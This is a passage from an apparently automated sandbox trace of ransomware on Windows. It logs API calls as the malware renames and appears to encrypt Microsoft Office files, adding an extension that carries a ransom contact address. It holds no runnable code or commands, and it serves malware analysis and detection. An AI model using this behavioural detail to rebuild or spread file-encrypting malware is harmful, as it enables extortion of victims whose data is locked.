lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.833] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.833] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.833] CloseHandle (hObject=0x700) returned 1 [0187.833] GetProcessHeap () returned 0x630000 [0187.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67be28 | out: hHeap=0x630000) returned 1 [0187.833] GetProcessHeap () returned 0x630000 [0187.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0187.834] GetProcessHeap () returned 0x630000 [0187.834] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0187.834] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x35e7135a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10dc, dwReserved0=0x9807496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d53c0 [0187.834] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0187.834] Sleep (dwMilliseconds=0x1) [0187.839] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx", len=0x52 | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx") returned 1 [0187.839] GetProcessHeap () returned 0x630000 [0187.839] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x299c) returned 0x707d3d0 [0187.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0187.839] CloseHandle (hObject=0x698) returned 1 [0187.839] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0187.839] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.841] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f15, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="basicstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BASICS~1.FIR")) returned 0x6d5340 [0187.841] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0187.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0187.841] GetProcessHeap () returned 0x630000 [0187.841] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f21) returned 0x729eb60 [0187.841] GetProcessHeap () returned 0x630000 [0187.841] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f21) returned 0x72a1a90 [0187.841] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.841] ReadFile (in: hFile=0x698, lpBuffer=0x729eb60, nNumberOfBytesToRead=0x2f00, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x729eb60*, lpNumberOfBytesRead=0x6afff0c*=0x2f00, lpOverlapped=0x0) returned 1 [0189.887] GetProcessHeap () returned 0x630000 [0189.887] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0189.887] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.887] WriteFile (in: hFile=0x698, lpBuffer=0x72a1a90*, nNumberOfBytesToWrite=0x2f00, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a1a90*, lpNumberOfBytesWritten=0x6afff0c*=0x2f00, lpOverlapped=0x0) returned 1 [0189.887] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.887] WriteFile (in: hFile=0x698, lpBuffer=0x72a498f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a498f*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.887] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.887] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.887] CloseHandle (hObject=0x698) returned 1 [0189.888] GetProcessHeap () returned 0x630000 [0189.888] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a1a90 | out: hHeap=0x630000) returned 1 [0189.888] GetProcessHeap () returned 0x630000 [0189.888] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x729eb60 | out: hHeap=0x630000) returned 1 [0189.888] GetProcessHeap () returned 0x630000 [0189.888] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0189.888] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.888] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3721cb1c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2f39, dwReserved0=0x9807496, dwReserved1=0x729eb58, cFileName="basicstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BASICS~1.FIR")) returned 0x6d4ec0 [0189.888] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0189.888] Sleep (dwMilliseconds=0x1) [0191.981] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSTX", len=0x4f | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSTX") returned 1 [0191.981] GetProcessHeap () returned 0x630000 [0191.981] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45c8) returned 0x74656a8 [0191.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_m.vstx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0193.614] CloseHandle (hObject=0x66c) returned 1 [0193.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_m.vstx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_m.vstx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0195.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c5b962, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c5b962, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c5b962, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4d0f, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="XFUNC_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XFUNC_~3.FIR")) returned 0x6d5240 [0195.887] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0195.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_m.vstx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0195.887] GetProcessHeap () returned 0x630000 [0195.887] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4d21) returned 0x6fb1258 [0195.888] GetProcessHeap () returned 0x630000 [0195.888] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4d21) returned 0x7224598 [0195.888] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.888] ReadFile (in: hFile=0x66c, lpBuffer=0x6fb1258, nNumberOfBytesToRead=0x4d00, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb1258*, lpNumberOfBytesRead=0x6afff0c*=0x4d00, lpOverlapped=0x0) returned 1 [0197.977] GetProcessHeap () returned 0x630000 [0197.977] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0197.977] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.977] WriteFile (in: hFile=0x66c, lpBuffer=0x7224598*, nNumberOfBytesToWrite=0x4d00, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224598*, lpNumberOfBytesWritten=0x6afff0c*=0x4d00, lpOverlapped=0x0) returned 1 [0197.977] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.977] WriteFile (in: hFile=0x66c, lpBuffer=0x7229297*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7229297*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0197.977] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.977] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0197.978] CloseHandle (hObject=0x66c) returned 1 [0197.978] GetProcessHeap () returned 0x630000 [0197.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7224598 | out: hHeap=0x630000) returned 1 [0197.978] GetProcessHeap () returned 0x630000 [0197.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb1258 | out: hHeap=0x630000) returned 1 [0197.978] GetProcessHeap () returned 0x630000 [0197.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0197.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c5b962, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c5b962, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3bf30517, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4d33, dwReserved0=0x9807496, dwReserved1=0x6fb1250, cFileName="XFUNC_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XFUNC_~3.FIR")) returned 0x6d4f80 [0197.978] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0197.978] Sleep (dwMilliseconds=0x1) [0200.641] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG2.TTF", len=0x45 | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG2.TTF") returned 1 [0200.642] GetProcessHeap () returned 0x630000 [0200.642] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4b74) returned 0x7133a90 [0200.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG2.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\wingdng2.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0200.685] CloseHandle (hObject=0x718) returned 1 [0200.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0200.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG2.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\wingdng2.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG2.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\wingdng2.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG2.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e2fdc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINGDNG2.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINGDN~2.FIR")) returned 0x6d5280 [0200.686] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0200.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG2.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\wingdng2.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0200.687] GetProcessHeap () returned 0x630000 [0200.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7421008 [0200.687] GetProcessHeap () returned 0x630000 [0200.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x742c438 [0200.688] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.688] ReadFile (in: hFile=0x718, lpBuffer=0x7421008, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7421008*, lpNumberOfBytesRead=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0206.851] GetProcessHeap () returned 0x630000 [0206.851] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0206.851] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.851] WriteFile (in: hFile=0x718, lpBuffer=0x742c438*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x742c438*, lpNumberOfBytesWritten=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0206.851] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.851] WriteFile (in: hFile=0x718, lpBuffer=0x7437837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7437837*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0206.852] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.852] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0206.852] CloseHandle (hObject=0x718) returned 1 [0206.852] GetProcessHeap () returned 0x630000 [0206.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x742c438 | out: hHeap=0x630000) returned 1 [0206.852] GetProcessHeap () returned 0x630000 [0206.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7421008 | out: hHeap=0x630000) returned 1 [0206.852] GetProcessHeap () returned 0x630000 [0206.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0206.852] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.852] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG2.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x413cd44b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10120, dwReserved0=0x9807496, dwReserved1=0x7421000, cFileName="WINGDNG2.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINGDN~2.FIR")) returned 0x6d5540 [0206.852] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0206.852] Sleep (dwMilliseconds=0x1) [0208.929] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\PREVIEW.GIF", len=0x6e | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\PREVIEW.GIF") returned 1 [0208.929] GetProcessHeap () returned 0x630000 [0208.929] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4dcc) returned 0x6fe4288 [0208.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0212.881] CloseHandle (hObject=0x4f0) returned 1 [0212.881] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0212.881] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0224.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0224.397] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xe408c02c, dwReserved1=0x6f0063, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4e40 [0224.487] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0224.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0224.526] GetProcessHeap () returned 0x630000 [0224.526] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, 